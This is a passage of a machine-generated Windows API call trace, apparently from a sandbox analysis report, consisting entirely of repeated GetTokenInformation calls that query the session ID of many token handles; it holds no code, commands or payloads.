TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x1b0, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x1d0, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.937] GetTokenInformation (in: TokenHandle=0x1d4, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.938] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.938] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.938] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.938] GetTokenInformation (in: TokenHandle=0x1dc, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.938] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.938] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.939] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.939] GetTokenInformation (in: TokenHandle=0x1e4, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.939] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.939] GetTokenInformation (in: TokenHandle=0x1ac, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.941] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.941] GetTokenInformation (in: TokenHandle=0x190, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.941] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.941] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.942] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.942] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.942] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.942] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.942] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.942] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.943] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.943] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.943] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.944] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.945] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.945] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.945] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.945] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.945] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.945] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.946] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.947] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.948] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.949] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.950] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.950] GetTokenInformation (in: TokenHandle=0x21c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.950] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.950] GetTokenInformation (in: TokenHandle=0x21c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.951] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.951] GetTokenInformation (in: TokenHandle=0x194, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.951] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.951] GetTokenInformation (in: TokenHandle=0x1cc, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.952] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.952] GetTokenInformation (in: TokenHandle=0x194, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.952] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.952] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.952] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.952] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.953] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.953] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.953] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.953] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.953] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.954] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.955] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.955] GetTokenInformation (in: TokenHandle=0x19c, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.955] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.956] GetTokenInformation (in: TokenHandle=0x218, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.956] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.956] GetTokenInformation (in: TokenHandle=0x214, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.957] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.957] GetTokenInformation (in: TokenHandle=0x228, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.957] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.957] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.958] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.958] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.958] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.958] GetTokenInformation (in: TokenHandle=0x228, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.958] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.959] GetTokenInformation (in: TokenHandle=0x228, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.959] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.959] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.959] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.959] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.960] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.960] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.961] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.961] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.961] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.961] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.962] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.962] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.962] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.962] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.963] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.963] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.963] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.963] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.964] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.964] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.964] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f974, ReturnLength=0x10f9c8) returned 1 [0196.964] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0xc, TokenInformation=0x10f970, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | out: TokenInformation=0x10f970, ReturnLength=0x10f9c8) returned 1 [0196.965] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10f974, TokenInformationLength=0x4, ReturnLength=0x10f9c8 | 